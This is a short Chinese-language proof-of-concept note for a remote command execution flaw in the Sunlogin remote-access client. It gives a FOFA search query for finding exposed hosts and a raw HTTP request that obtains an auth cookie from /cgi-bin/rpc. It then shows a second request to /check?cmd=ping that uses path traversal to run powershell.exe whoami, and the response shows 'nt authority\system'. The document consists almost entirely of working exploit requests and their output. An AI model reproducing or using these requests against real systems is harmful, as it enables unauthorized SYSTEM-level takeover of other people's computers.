FOFA语句 body=”Verification failure”
本地复现: tasklist |findstr SunloginClient.exe 寻找pid
找端口: netstat -ano|findstr pid
端口为0.0.0.0的监听
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 192.168.88.164:50327
User-Agent: wengenb
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 87
{"__code":0,"enabled":"1","verify_string":"DTOAQFngEPZBDNNp5QLOYftzErN7RBCA","code":0}
会返回认证COOKIE
携带COOKIE发包
GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1
Host: 192.168.88.164:50327
User-Agent: wengenb
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: CID=DTOAQFngEPZBDNNp5QLOYftzErN7RBCA;
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 21
nt authority\system
漏洞成功验证截图